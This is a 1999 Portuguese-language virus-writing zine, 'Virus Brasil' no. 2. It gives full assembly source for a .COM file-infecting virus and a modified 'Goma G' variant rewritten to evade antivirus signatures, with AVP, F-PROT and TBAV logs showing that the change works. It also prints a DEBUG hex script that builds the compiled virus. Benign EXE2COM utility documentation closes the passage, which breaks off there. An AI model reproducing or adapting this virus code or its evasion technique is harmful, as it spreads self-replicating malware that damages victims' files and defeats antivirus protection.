
             /  __           ___             __   __   __   ___ .           
      |  /  |  |__)  |   |  (__             | _) |__) |__| (__  | |         
      |/    |  |  \  |___|  ___)            |__) |  \ |  | ___) | |___      
                                                                            

                                                                             
                           ݳ޺ݳ۳   02
                           ݳ޺ݳ۳  ޳
                        9  770169221097  ޳
                                                                             
                                                                             
                            Virus Brasil n 2
                                                                             
                          Abril/Maio/Junho 1999

          HomePage : http://wwww.fortunecity.com/campus/medicine/120
                      Remind   : surf.to/virusbrasil
                      E-mail   : nim_bus@hotmail.com
                                                                             
                                                                             
    
              ___   ___         ___   ___          __    ___
             |     |   |  |\ |   |   |__   |   |  |  \  |   |
             |___  |___|  | \|   |   |___  |___|  |__/  |___|
                                                                             
  
                                                                             
   Conteudo:
   
                                                                             
        1 - Editorial ( que e' de lei ter um ...).
        2 - Como criar novos virus (indetectaveis) aos anti-virus .
        3 - Goma_G2 (Script File) 
        4 - EXE2COM ( Conversor de Arquivos .EXE para .COM 
                        Contem UUencode e fontes em C )
        5 - Goma_EXE (Codigo Fonte) 
        6 - Goma_EXE (Script File) 
        7 - Virus de Boot
        8 - GomaBoot_Trojan (Codigo Fonte)
        9 - GomaBoot_Trojan (Script File)
       10 - Valeu (Ate'julho ...)
       11 - Special Thanks
                                                                             
                                                                             
  
                 ___   __   .  ___   ___    __   .   __
                |__   |  \  |   |   |   |  |__)  |  |__|  |
                |___  |__/  |   |   |___|  |  \  |  |  |  |___
                                                                             

                                                                               
   1. Editorial                                                         
   
                                                                             
        Bom, creio que se voce ja leu o primeiro numero de virus brasil deve
   saber o estilo do zine, nao puxo o saco de ninguem, muito menos quero fa-
   zer o zine sozinho; tento compartilhar um pouco do conhecimento que tenho 
   com os demais e creio que estou dando conta dessa parte ...
        Quero me desculpar pela home page do zine, mas foi o que deu pra fa-
   zer assim meio que de susto, quando eu arrumar um fim de semana sem nada 
   para ("ser obrigado a") fazer eu prometo que deixarei a pagina pelo menos 
   acessivel e com algumas papagaiadas (links, banners, downloads e tudo ma-
   is, se pans ponho ate uma musica).
        Por incrivel que pareca, nao tenho internet em casa, meu modem pifou 
   ja faz uma carinha e como to sem grana ainda nao deu pra comprar outro, 
   estou dizendo isso caso voce me mande um e-mail e eu demore a responder, 
   eu sei que tal fato nao justifica um possivel atraso, mas o explica.
        Estou com um probleminha no zine, eu nao rodo Windows em casa e te-
   nho vontade de possibilitar fontes de Virus de Macro no Zine como nao me 
   arrisquei ainda a testar alguns macros nos computadores da facu e da fir-
   ma, exitei em colocar algum nessa edicao, sem testa-los, e sem estar a 
   par do seu algoritmo logico. Peco desculpas, creio que na proxima edicao 
   devemos ter algum macro virus por ai (nacional e' claro !). 
        Estou procurando os fontes do virus de boot Leandro&Kelly, mas esta
   foda, ainda nao achei, caso voce tenha os fontes (os fontes; a listagem 
   do Dorival eu ja tenho), favor mandar por e-mail, ou se tiver o virus ja 
   compilado em formato Binario tambem aceito. Quero fazer uma materia da 
   hora sobre o LK.
        Como o LK  um vrus de Boot, e a organizacao do boot  um pouco di-
   ferente coloquei uma materia sobre virus de boot no zine, peco desculpas 
   pois estou realmente sem tempo (o trampo e a facu tao foda), peco descul-
   pas, pois nao tive tempo de fazer um virus de boot e para que a materia 
   sobre virus de boot nao ficasse sem um exemplo, fiz um trojan de boot e 
   coloquei ai, prometo que mais adiante farei um virus de boot, pelo menos 
   um de Disquetes.                                                        
        Creio que com a implementacao de um trojan alguns possam ficar indi-
   gnados, mas optei por coloca-lo a deixar a materia sem exemplo. E afinal
   eu que escrevo essa porra e ponho o que eu quizer.
        Essa edicao de Virus Brasil, creio que sera tao interessante quanto
   a numero 1, a maioria das "promessas" da ultima edicao estao aqui, como o 
   GOMA_EXE , o GOMA_G (a partir do ps-mpc) entre outros ...
        Acho que fico por aqui nao vou mais ficar enrolando, voce le ai em
   cima em CONTEUDO e descobre o que te espera nesse segundo numero ...
                                                                              
   Ate mais                                                                 
        Nim Bus                                                     
                                                                             
                                                                             

                          __  ___  ___ / __   .   __                            
                    |\/| |__|  |  |__   |__)  |  |__|                           
                    |  | |  |  |  |___  |  \  |  |  |                         
                                                                             

                                                                             
                                                                             
       
        2 - Como criar novos virus (indetectaveis) aos anti-virus .
       
                                                                             
        Bom, creio que essa seja uma materia muito importante para voce a-
   prender de vez como burlar os anti-virus.                               
        Para voce que ja fez um virus (tipo um com infector bem fulero), e 
   voce compilou, rodou e tudo funcionou direitinho, e na hora de passar pe-
   lo anti-virus "Bip" (acusa que pode ser um virus desconhecido ou ja' fala 
   que e' um Howard ou um type COM).                                       
        Caralho e' meu virus, nao pode ser ! Entao se tem mo trampo em ten-
   tar reestruturar a fonte do virus, tentando despistar os anti-virus e o  
   baguio continua apitando, se voce ja leu algum virus brasil, deve se uti-
   lizar das rotinas que despistam as flags (Virus Brasil n01) que ajudam 
   muito nessa parte e e' quase certo que seu virus sera 100 % new .
        Especificamente essa materia nao trata bem disso, nao tem um COM 
   infector fuleiro tem um PS-MPC, gerado pelo G quadrado, ou seja, ja e' um 
   virus mais trabalhado e tal, qualquer dia eu ponho um com infector fulero 
   na fita para voces sentirem o drama !!!.
        Falei, falei e nao disse quase nada, vamos direto ao assunto, essa 
   materia tem dois fontes de virus praticamente os mesmos, quero dizer, sao 
   o mesmo virus, so' que um levou algumas adaptacoes de minha parte e dei-
   xou de ser o virus antigo e passou a ser o que eu resolvi chamar de Goma_ 
   G Virus, interessante, nao ?  O antigo ta ai para voce ter uma base das 
   modificacoes implementadas e que essa materia seja de muita importancia 
   para voce, seu preguicoso !
                                                                             
   
             Fonte Gerada pelo G sem qualquer modificacao.
   
                                                                           
;; Arquivo CFG que gerou o virus ;;;
Filename = virus.asm               ;
Infect = C                         ;
VirusName = [G Virus]             ;
AuthorName = Phalcon/Skism         ;
Resident = N                       ;
Encryption = N                     ;
MinSize = 0                        ;
MaxSize = A                        ;
Infections = 3                     ;
ErrorHandler = N                   ;
CommandCom = Y                     ;
AllowZero = Y                      ;
AntiDebugger = N                   ;
;; Arquivo CFG que gerou o virus ;;;
                                                                             
;;;;;;;;;;;;;;;;;;;;;;;;; Fonte Original pelo G ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: VIRUS.ASM
;     [G Virus] by Phalcon/Skism
                                                                             
.model  tiny
.code   
                                                                             
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
        org     0100h
                                                                             
carrier:
        db      0E9h,0,0                ; jmp start
                
start:
        mov     bp, sp
        int     0003h
next:
        mov     bp, ss:[bp-6]
        sub     bp, offset next
                
        lea     dx, [bp+offset newDTA]
        mov     ah, 001Ah               ; Set DTA
        int     0021h
                
        lea     si, [bp+offset origdir+1]
        mov     ah, 0047h               ; Get directory
        cwd                             ; Default drive
        int     0021h
                
restore_COM:
        mov     di, 0100h
        push    di
        lea     si, [bp+offset old3]
        movsb   
        movsb   
        movsb   
                
        mov     byte ptr [bp+numinfect], 0000h
traverse_loop:
        lea     dx, [bp+offset COMmask]
        call    infect
        cmp     [bp+numinfect], 0003h
        jae     exit_traverse           ; exit if enough infected
                
        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bp+offset dot_dot] ; go to previous dir
        int     0021h
        jnc     traverse_loop           ; loop if no error
                
exit_traverse:
                
        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        xchg    dx, si
        mov     ah, 003Bh               ; restore directory
        int     0021h
                
                
        mov     dx, 0080h               ; in the PSP
        mov     ah, 001Ah               ; restore DTA to default
        int     0021h
                
return:
        ret     
                
old3            db      0cdh,20h,0
                
infect:
        mov     cx, 0007h               ; all files
        mov     ah, 004Eh               ; find first
findfirstnext:
        int     0021h
        jc      return
        mov     ax, 4300h
        lea     dx, [bp+newDTA+30]
        int     0021h
        jc      return
        push    cx
        push    dx
                
        mov     ax, 4301h               ; clear file attributes
        push    ax                      ; save for later use
        xor     cx, cx
        int     0021h
                
        lea     dx, [bp+newDTA+30]
        mov     ax, 3D02h
        int     0021h
        xchg    ax, bx
                
        mov     ax, 5700h               ; get file time/date
        int     0021h
        push    cx
        push    dx
                
        lea     dx, [bp+offset readbuffer]
        mov     cx, 001Ah
        mov     ah, 003Fh
        int     0021h
                
        mov     ax, 4202h
        xor     cx, cx
        cwd     
        int     0021h
                
        cmp     word ptr [bp+offset readbuffer], 'ZM'
        jz      jmp_close
        mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
        add     cx, heap-start+3        ; convert to filesize
        cmp     ax, cx                  ; equal if already infected
        jl      skipp
jmp_close:
        jmp     close
skipp:
                
        cmp     ax, 65535-(endheap-start) ; check if too large
        ja      jmp_close               ; Exit if so
                
        lea     di, [bp+offset old3]
        lea     si, [bp+offset readbuffer]
        movsw   
        movsb   
                
        sub     ax, 0003h
        mov     word ptr [bp+offset readbuffer+1], ax
        mov     dl, 00E9h
        mov     byte ptr [bp+offset readbuffer], dl
        mov     cx, heap-start
        mov     ah, 0040h               ; concatenate virus
        lea     dx, [bp+offset start]
        int     0021h
                
        xor     dx, dx
        xor     cx, cx
        mov     ax, 4200h
        int     0021h
                
                
        mov     ah, 0040h
        mov     cx, 0003h
        lea     dx, [bp+offset readbuffer]
        int     0021h
                
        inc     [bp+numinfect]
                
close:
        mov     ax, 5701h               ; restore file time/date
        pop     dx
        pop     cx
        int     0021h
                
        mov     ah, 003Eh
        int     0021h
                
        pop     ax                      ; restore file attributes
        pop     dx                      ; get filename and
        pop     cx                      ; attributes from stack
        int     0021h
                
        mov     ah, 004Fh               ; find next
        jmp     findfirstnext
                
signature       db      '[PS/G]',0     ; Phalcon/Skism G
creator         db      'Phalcon/Skism',0
virusname       db      '[G Virus]',0
COMmask         db      '*.COM',0
dot_dot         db      '..',0
                
heap:
newDTA          db      43 dup (?)
origdir         db      65 dup (?)
numinfect       db      ?
readbuffer      db      1ah dup (?)
endheap:
        end     carrier
;;;;;;;;;;;;;;;;;;;;;;;;; Fonte Original pelo G ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                             
   
   O que os anti-virus disseram do arquivo apos compilacao/linkedicao  ?
   
                                                                             
 AVP
 
                                                                             
 AntiViral Toolkit Pro by Eugene Kaspersky  [Version 3.0 Build 126]
 Report:  22-10-1997  04:00:00
 Command line:  
                                                                             
C:   Boot Sector       : ok
D:   Boot Sector       : ok
E:   Boot Sector       : ok
HDD1 Master Boot Record        : ok
HDD1 Active Boot Sector        : ok
HDD1 Not Active Boot Sector    : ok
                                                                             
A:\VIRUS.COM   : infected by G2-based
                                                                             
  Detected: 1 viruses
                                                                             
   Scanned:           1 file
                      0 directories
                      0 Kbytes
                                                                             
 Scan time:  00:00:00
                                                                             
                                                                             
 F-PROT
 
                                                                             
Virus scanning report  -  22. October 1997   04:00
                                                                             
F-PROT 3.03
SIGN.DEF created 12. October 1998
MACRO.DEF created 9. October 1998
                                                                             
Search: a:\
Action: Disinfect/Query
Files: "Dumb" scan of all files
Switches: /ARCHIVE /PACKED /COLLECT /LIST /APPEND
No viruses found in memory.
No viruses were found in MBRs or hard disk boot sectors.
                                                                             
A:\VIRUS.COM  Infection: New or modified variant of PS-MPC
Viruses cannot be disinfected unless they are identified.
                                                                             
Results of virus scanning:
                                                                             
Files: 1
MBRs: 1
Boot sectors: 3
Objects scanned: 5
Infected: 1
Suspicious: 0
Disinfected: 0
Deleted: 0
Renamed: 0
                                                                             
Time: 0:00
                                                                             
                                                                             
                                                                             
 TBAV
 
                                                                             
Thunderbyte virus detector v8.08 - (C) Copyright 1989-1998 Thunderbyte B.V.
                                                                             
TbScan report,  22-10-1998  04:00:00
                                                                             
Parameters:  ll=3 qs co hm rp ld fc hr lo tn ln=e:\testes\tbav.log a:\
                                                                             
Register : Nim Bus
                                                                             
A:\VIRUS.COM infected by PS-MPC.G2.429/513/615 virus
c  No checksum / recovery information (Anti-Vir.Dat) available.
F  Suspicious file access.  Might be able to infect a file.
S  Contains a routine to search for executable (.COM or .EXE) files.
Z  EXE/COM determination.  The program tries to check whether a file
   is a COM or EXE file.  Viruses need to do this to infect a program.
O  Found code that can be used to overwrite/move a program in memory.
                                                                             
                                                                             
                                                                             
Found 1 files in 0 directories, 1 files seem to be executable.
0 files were checked for changes, 0 files have been changed.
                                                                             
1 files are infected by one or more viruses
                                                                             
                                                                             
                                                                             
   
             Fonte Gerada pelo G (Agora eu a modifiquei)
   
                                                                             
;; Arquivo CFG que gerou o virus ;;;
Filename = virus.asm               ;
Infect = C                         ;
VirusName = [GOMA G Virus]        ;
AuthorName = Phalcon/Skism/Nim Bus ;
Resident = N                       ;
Encryption = N                     ;
MinSize = 0                        ;
MaxSize = A                        ;
Infections = 3                     ;
ErrorHandler = N                   ;
CommandCom = Y                     ;
AllowZero = Y                      ;
AntiDebugger = N                   ;
;; Arquivo CFG que gerou o virus ;;;
                                                                             
;;;;;;;;;;;;;;;;;;;;; Fonte pelo G Alterada por mim ;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: VIRUS.ASM
;     [G Virus] by Phalcon/Skism
                
.model  tiny
.code   
                
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
        org     0100h
                
carrier:
        db      0E9h,0,0                ; jmp start
                
start:
        mov     bp, sp
        int     0003h
next:
        mov     bp, ss:[bp-6]
        sub     bp, offset next
                
        lea     dx, [bp+offset newDTA]
        mov     ah, 001Ah               ; Set DTA
        call    int_21_h                ;;;;;;;;;;;;;;;;;  I  ;;;;;;;;;;;;;;;;
                
        lea     si, [bp+offset origdir+1]
        mov     ah, 0047h               ; Get directory
        cwd                             ; Default drive
        call    int_21_h
                
restore_COM:
        mov     di, 0100h
        push    di
        lea     si, [bp+offset old3]

        call    mover_string            ;;;;;;;;;;;;;;;;; II ;;;;;;;;;;;;;;;;

        mov     byte ptr [bp+numinfect], 0000h
traverse_loop:
        lea     dx, [bp+offset COMmask]
        call    infect
        cmp     [bp+numinfect], 0003h
        jae     exit_traverse           ; exit if enough infected
                
        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bp+offset dot_dot] ; go to previous dir
        call    int_21_h
        jnc     traverse_loop           ; loop if no error
                
exit_traverse:
                
        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        xchg    dx, si
        mov     ah, 003Bh               ; restore directory
        call    int_21_h
                
                
        ;mov     dx, 0080h               ; in the PSP
        ;mov     ah, 001Ah               ; restore DTA to default
        call    essa                     ;;;;;;;;;;;;;;;; III ;;;;;;;;;;;;;;;;
        int     0021h
                
return:
        ret     
                
old3            db      0cdh,20h,0
                
infect:
        mov     cx, 0007h               ; all files
        mov     ah, 004Eh               ; find first
findfirstnext:
        int     0021h
        jc      return

        mov     ax, 4300h
        lea     dx, [bp+newDTA+30]
        call    int_21_h

        jc      return
        push    cx
        push    dx
                
        mov     ax, 4300h               ; clear file attributes
        inc     al                      ; Despistando AV (4300 + 1 = 4301)
        push    ax                      ; save for later use
        xor     cx, cx
        call    int_21_h
                
        lea     dx, [bp+newDTA+30]
        mov     ax, 3D02h
        call    int_21_h
        xchg    ax, bx
                
        mov     ax, 5700h               ; get file time/date
        call    int_21_h
        push    cx
        push    dx
                
        lea     dx, [bp+offset readbuffer]
;        mov     cx, 001Ah
;        mov     ah, 003Fh
        call    noia                    ;;;;;;;;;;;;;;;;; IV ;;;;;;;;;;;;;;;;
        int     21h
                
        mov     ax, 4202h
        xor     cx, cx
        cwd     
        call    int_21_h
                
        ;cmp     word ptr [bp+offset readbuffer], 'ZM'
        cmp     byte ptr [bp+offset readbuffer], 'M'
        jz      jmp_close
        mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
        add     cx, heap-start+3        ; convert to filesize
        cmp     ax, cx                  ; equal if already infected
        jl      skipp
jmp_close:
        jmp     close
skipp:
                
        cmp     ax, 65535-(endheap-start) ; check if too large
        ja      jmp_close               ; Exit if so
                
        lea     di, [bp+offset old3]
        lea     si, [bp+offset readbuffer]
        call    mover
        ;movsw                          ;;;;;;;;;;;;;;;;; V ;;;;;;;;;;;;;;;;
        ;movsb   
                
        sub     ax, 0003h
        mov     word ptr [bp+offset readbuffer+1], ax
        mov     dl, 00E9h
        mov     byte ptr [bp+offset readbuffer], dl
        mov     cx, heap-start
        mov     ah, 0040h               ; concatenate virus
        lea     dx, [bp+offset start]
        call    int_21_h
                
        xor     dx, dx
        xor     cx, cx
        mov     ax, 4200h
        call    int_21_h
                
                
        ;mov     ah, 0040h
        ;mov     cx, 0003h
        call    escreve                  ;;;;;;;;;;;;;;;;; VI ;;;;;;;;;;;;;;;;
        lea     dx, [bp+offset readbuffer]
        call    int_21_h
                
        inc     [bp+numinfect]
                
close:
        mov     ax, 5700h               ; restore file time/date
        inc     al                      ; Despistando AV (5700 + 1 = 5701)
        pop     dx    
        pop     cx
        call    int_21_h
                
        mov     ah, 003Eh
        call    int_21_h
                
        pop     ax                      ; restore file attributes
        pop     dx                      ; get filename and
        pop     cx                      ; attributes from stack
        call    int_21_h
                
        mov     ah, 004Fh               ; find next
        jmp     findfirstnext

mover_string:
        movsb   
        movsb   
        movsb   
        ret

mover:
        movsw   
        movsb   
        ret

escreve:
        mov     ah, 0040h
        mov     cx, 0003h
        ret

noia:
        mov     cx, 001Ah
        mov     ah, 003Fh
        ret
 
essa:
        mov     dx, 0080h               ; in the PSP
        mov     ah, 001Ah               ; restore DTA to default
        ret

int_21_h:
        int     0021h 
        ret



                
signature       db      "[TDG'99]",0     ; Phalcon/Skism G
creator         db      'Nim Bus',0
virusname       db      '[Goma G Virus]',0
COMmask         db      '*GomaG.COM',0
dot_dot         db      '..',0
                
heap:
newDTA          db      43 dup (?)
origdir         db      65 dup (?)
numinfect       db      ?
readbuffer      db      1ah dup (?)
endheap:
        end     carrier

;;;;;;;;;;;;;;;;;;;;; Fonte pelo G Alterada por mim ;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                             
   
   O que os anti-virus disseram do arquivo apos compilacao/linkedicao  ?
   
                                                                             
 AVP
 
                                                                             
                                                                             
 AntiViral Toolkit Pro by Eugene Kaspersky  [Version 3.0 Build 126]
 Report:  22-10-1998  04:00:00
 Command line:  
                                                                             
C:   Boot Sector       : ok
D:   Boot Sector       : ok
E:   Boot Sector       : ok
HDD1 Master Boot Record        : ok
HDD1 Active Boot Sector        : ok
HDD1 Not Active Boot Sector    : ok
A:\VIRUS.COM : ok
                                                                             
     No viruses detected
                                                                             
   Scanned:           1 files
                      0 directories
                      0 Kbytes
                                                                             
 Scan time:  00:00:00
                                                                             
                                                                             
 F-PROT
 
                                                                             
Virus scanning report  -  10. October 1998   04:00
                                                                             
F-PROT 3.03
SIGN.DEF created 12. October 1998
MACRO.DEF created 9. October 1998
                                                                             
Search: a:\
Action: Disinfect/Query
Files: "Dumb" scan of all files
Switches: /ARCHIVE /PACKED /COLLECT /LIST /APPEND
No viruses found in memory.
No viruses were found in MBRs or hard disk boot sectors.
                                                                             
A:\VIRUS.COM  
                                                                             
Results of virus scanning:
                                                                             
Files: 1
MBRs: 1
Boot sectors: 3
Objects scanned: 5
Infected: 1
Suspicious: 0
Disinfected: 0
Deleted: 0
Renamed: 0
                                                                             
Time: 0:00
                                                                             
No viruses or suspicious files/boot sectors were found.
                                                                             
                                                                             
                                                                             
 TBAV
 
                                                                             
Thunderbyte virus detector v8.08 - (C) Copyright 1989-1998 Thunderbyte B.V.
                                                                             
TbScan report,  22-10-1998  04:00:00
                                                                             
Parameters:  ll=3 qs co hm rp ld fc hr lo tn ln=e:\testes\tbav.log a:\
                                                                             
Register : Nim Bus
                                                                             
A:\VIRUS.COM
c  No checksum / recovery information (Anti-Vir.Dat) available.
                                                                             
Found 1 files in 0 directories, 1 files seem to be executable.
0 files were checked for changes, 0 files have been changed.
                                                                             
0 files are infected by one or more viruses
                                                                             

                                                                             
   
                              Comenta'rios
   
                                                                             
        Esse tipo de tecnica de modificacao de virus, se baseia numa ideia 
   muito simples, se o anti-virus procura por uma determinada sequencia de 
   bytes, devemos encontra-la e modifica-la. O metodo mais simples de modi-
   ficar um trecho do programa e' pegar tal trecho, copia-lo em uma procedu-
   re e chamar a procedure.
                                                                             
I 
        lea     dx, [bp+offset newDTA]
        mov     ah, 001Ah              
        call    int_21_h               
        
        Ao chamarmos uma procedure que chama a int 21 ao inves de chama-la 
   direto, quebramos a sequencia que o anti-virus procura (aumentamos sim o 
   tamanho do virus, mas e' um artificio muito util) que despista flags e 
   desse modo, o anti-virus passa lotado nessa parte.
                                                                             
II
        call    mover_string  
                                                                             
V                                                                            
        call    mover
                                                                             
        Na restauracao do arquivo COM, o anti virus espera pelas instrucoes 
   (MOVS?) porem, tambem nao as encontra onde procura, pois colocamos uma 
   procedure que realiza tal trabalho e simplesmente a chamamos.
                                                                             
                                                                             
III
                                                                             
        ;mov     dx, 0080h               ; in the PSP
        ;mov     ah, 001Ah               ; restore DTA to default
        call    essa                     ;;;;;;;;;;;;;;;; III ;;;;;;;;;;;;;;;;
        int     0021h
                                                                             
                                                                             
IV                                                                          
        lea     dx, [bp+offset readbuffer]
;        mov     cx, 001Ah
;        mov     ah, 003Fh
        call    noia                    ;;;;;;;;;;;;;;;;; IV ;;;;;;;;;;;;;;;;
        int     21h
                                                                             
                                                                             
VI                                                                          
        ;mov     ah, 0040h
        ;mov     cx, 0003h
        call    escreve                  ;;;;;;;;;;;;;;;;; VI ;;;;;;;;;;;;;;;;
        lea     dx, [bp+offset readbuffer]
        call    int_21_h
                                                                             
                                                                             
        Aqui caso o anti virus encontre :  mov   dx,80h 
                                           mov   ah,1Ah
   Seguidos da chamada da int 21 (Executar a funcao). Ou encontre qualquer 
   uma das instrucoes que estao sendo ignoradas (viraram procedures) o an-
   ti-virus indicara' que pode se tratar de um virus, se ao inves de criar-
   mos as procedures, tivessemos chamado a procedure da int21, teriamos er-
   ro pois o anti-virus procuraria a procedure e constatatia que se trata 
   da int 21 e acusaria que pode ser um virus.
                                                                             
                                                                             
        Bom acho que e' isso ai sem mais .
                                                                             

                      ___   ___   __   .   __   ___
                     (__   |     |__)  |  |__)   |
                     ___)  |___  |  \  |  |      |
                                                                             

                                                                             
                                                                             
  
   3 - Goma_G2 (Script File) 
  
                                                                             
        Essa parte do zine contem um script para ser utilizado no debug do 
   dos, esse script cria o virus Goma_G2 a partir do debug pelo simples co-
   mando:                                                                
                                                                             
                        DEBUG < (arquivo.scr)
                                                                             
;;;;;;;;;;;;;;;;;; GOMA_G2.SCR ;;;;;;;;;;;;;;;;;;;;;;;;
N GOMA_G2.COM
E 0100 E9 00 00 8B EC CC 8B 6E FA 81 ED 06 01 8D 96 64 
E 0110 02 B4 1A E8 1A 01 8D B6 90 02 B4 47 99 E8 10 01 
E 0120 BF 00 01 57 8D B6 5D 01 E8 EC 00 C6 86 D0 02 00 
E 0130 8D 96 54 02 E8 29 00 80 BE D0 02 03 73 0B B4 3B 
E 0140 8D 96 61 02 E8 E9 00 73 E7 8D B6 8F 02 C6 04 5C 
E 0150 87 D6 B4 3B E8 D9 00 E8 D0 00 CD 21 C3 CD 20 00 
E 0160 B9 07 00 B4 4E CD 21 72 F3 B8 00 43 8D 96 82 02 
E 0170 E8 BD 00 72 E7 51 52 B8 00 43 FE C0 50 33 C9 E8 
E 0180 AE 00 8D 96 82 02 B8 02 3D E8 A4 00 93 B8 00 57 
E 0190 E8 9D 00 51 52 8D 96 D1 02 E8 88 00 CD 21 B8 02 
E 01A0 42 33 C9 99 E8 89 00 80 BE D1 02 4D 74 0C 8B 8E 
E 01B0 D2 02 81 C1 64 01 3B C1 7C 02 EB 41 3D 17 FE 77 
E 01C0 F9 8D BE 5D 01 8D B6 D1 02 E8 4F 00 2D 03 00 89 
E 01D0 86 D2 02 B2 E9 88 96 D1 02 B9 61 01 B4 40 8D 96 
E 01E0 03 01 E8 4B 00 33 D2 33 C9 B8 00 42 E8 41 00 E8 
E 01F0 2C 00 8D 96 D1 02 E8 37 00 FE 86 D0 02 B8 00 57 
E 0200 FE C0 5A 59 E8 29 00 B4 3E E8 24 00 58 5A 59 E8 
E 0210 1E 00 B4 4F E9 4E FF A4 A4 A4 C3 A5 A4 C3 B4 40 
E 0220 B9 03 00 C3 B9 1A 00 B4 3F C3 BA 80 00 B4 1A C3 
E 0230 CD 21 C3 5B 54 44 47 27 39 39 5D 00 4E 69 6D 20 
E 0240 42 75 73 00 5B 47 6F 6D 61 20 47 FD 20 56 69 72 
E 0250 75 73 5D 00 2A 47 6F 6D 61 FF 47 FD 2E 43 4F 4D 
E 0260 00 2E 2E 00 
RCX
0164
W
Q
;;;;;;;;;;;;;;;;;; GOMA_G2.SCR ;;;;;;;;;;;;;;;;;;;;;;;;
                                                                             
        Bom ta ai o script do virus, as explicacoes e comentarios do virus 
   se encontram na materia acima ...
                                                                             

                               ___  .     
                        |   |   |   |  |    
                        |___|   |   |  |___ 
                                                                             

                                                                             
  
   4 - EXE2COM 
  
                                                                             
                                                                             
        Nessa segunda edicao do zine virus brasil, levamos ate' voce um pro-
   grama muito parecido com o EXE2BIN, que lhe sera muito util na confeccao 
   de seus virus de boot e em seus TSR's, seguem em anexo a documentacao 
   original do arquivo, a fonte em C, do mesmo e o programa (UUencodado) pa-
   ra quem nao tiver o compilador de C em casa.
        Acho que e' so isso. 
        E' um utilitario nada mais que isso ...
                                                                             
                                                                             
   
                  Documento que vem junto com o original        
   
                                                                             
                                  EXE2COM 1.04
                         By Chris Dunford/Cove Software

        | indicates information changed/added in recent versions.
                                                                             
        Purpose
        -------
        EXE2COM is a one-for-one replacement for the EXE2BIN program
        that was formerly distributed with DOS.  Beginning with DOS 3.3,
        EXE2BIN has been moved to the disk that comes with the DOS
        Technical Reference and thus is not available without extra
        cost.
                                                                             
                                                                             
        Usage
        -----
        Usage is identical to DOS's EXE2BIN except that the output file
        extension defaults to COM rather than BIN, and there is an
        optional switch that displays EXE file information rather than
        converting the file to COM.
                                                                             
        Complete usage is:

            EXE2COM [/I] [d:][path]file[ext] [d:][path][file][ext]
                                                                             
        The drive and path of the first file default to the current
        drive and path, if not specified.  The extension of the first
        file defaults to EXE, if not specified.
                                                                             
        If the second file is completely unspecified, it defaults to the
        same drive, path, and filename as the first, except that the
        extension will be COM.
                                                                             
        If the second file is specified but without an extension, COM
        will be assumed (this is different from EXE2BIN).
                                                                             
      | If /I is specified, information about the EXE file is displayed
      | and no conversion is performed.  The output file name, if
      | specified, is ignored.
                                                                             
        The simplest (and usual) usage is simply:
                                                                             
            EXE2COM file
                                                                             
        which will take the named EXE file in the current directory and
        convert it to a COM file in the same directory.
                                                                             
                                                                             
        Operation
        ---------
        EXE2COM runs the same way as EXE2BIN, with the following
        exceptions:
                                                                             
            1. The binary fixup option of EXE2BIN (IP=0, segment fixups
            required) is not supported.
                                                                             
            2. The EXE file checksum is not verified.
                                                                             
            3. Error messages are more useful, and a warning is provided
            if a COM file is created with an initial IP other than 100H.
                                                                             
            4. The default output file extension is COM rather than BIN.
                                                                             
                                                                             
      | Information display
      | -------------------
      | If you use the /I switch, EXE2COM just displays information
      | about the EXE file and does not attempt to convert it to COM
      | (therefore, the EXE file need not be a convertible file).  Here
      | is a typical display, resulting from running EXE2COM on itself
      | (version 1.04) with the /I switch:
      |
      |   exe2com.exe                   (hex)      (dec)
      |     EXE file size                396B      14699
      |     EXE header size (para)         20         32
      |     Program image size (bytes)   376B      14187
      |     Minimum load size (bytes)    8CDB      36059
      |     Min allocation (para)         557       1367
      |     Max allocation (para)        FFFF      65535
      |   * Initial CS:IP           0000:072C
      |   * Initial SS:SP           084D:0800       2048 (stack size)
      |   * Relocation count                4          4
      |     Relo table start             001E         30
      |     EXE file checksum            411D      16669
      |     Overlay number                  0          0
      |   * = this item prevents conversion to BIN/COM
      |
      | The fields that may need some explanation:
      |
      | Program image size:  this is the size of the program itself
      | (i.e., the size of the EXE file less the size of the header
      | information).  This much memory is required to load a copy of
      | the program's code and pre-allocated data.
      |
      | Minimum load size: at least this much free memory is required in
      | order to run the program.
      |
      | Min/max allocation: the minimum/maximum number of 16-byte
      | paragraphs that will be needed above the end of the program
      | image when it is loaded.  Minimum load size is the sum of the
      | program image size and the minimum allocation.
      |
      | If an item is starred (*), this prevents the EXE file from being
      | converted to a COM file.
                                                                             
                                                                             
        Error Messages
        --------------
        These are EXE2COM's error messages.  If one of these is seen,
        the EXE file will not be converted and the errorlevel returned
        by EXE2COM will be 1.
                                                                             
        ERROR READING EXE HEADER
            EXE2COM was unable to read the EXE file header from disk.
                                                                             
        ERROR WRITING OUTPUT FILE
            EXE2COM was unable to write the converted file to disk.
                                                                             
        INVALID EXE FILE SIGNATURE
            The first two bytes of an EXE file should be ASCII 'M' and
            'Z'.  This was not the case, and it's probably not an EXE
            file.
                                                                             
        EXE HAS RELOCATABLE ITEMS
            In order to be converted to a COM file, an EXE file cannot
            have any direct references to segments.  For example, the
            assembler instruction "mov ax,code" (where CODE is a segment
            name) is a segment reference.  One or more segment
            references were found in the EXE file.
                                                                             
        EXE HAS STACK SEGMENT
            In order to be converted to a COM file, an EXE file cannot
            have a stack segment.
                                                                             
        EXE HAS NONZERO CS
            In order to be converted to a COM file, an EXE file must
            have a code segment that begins at offset 0 of the code
            image in the EXE file.
                                                                             
        IP NOT 0 OR 100H
            In order to be converted to a binary file, an EXE file must
            have an entry point of 0 or 100H within the code segment.
            For COM files, the entry point should be 100H.  For SYS
            files (device drivers), the entry point should be 0.
                                                                             
        PROGRAM EXCEEDS 64K
            In order to be converted to a binary file, the total size of
            the code to be loaded (including the PSP) must not exceed
            64K bytes.
                                                                             
        UNKNOWN ERROR
            Internal error.  Notify the author.
                                                                             
                                                                             
        Warning message
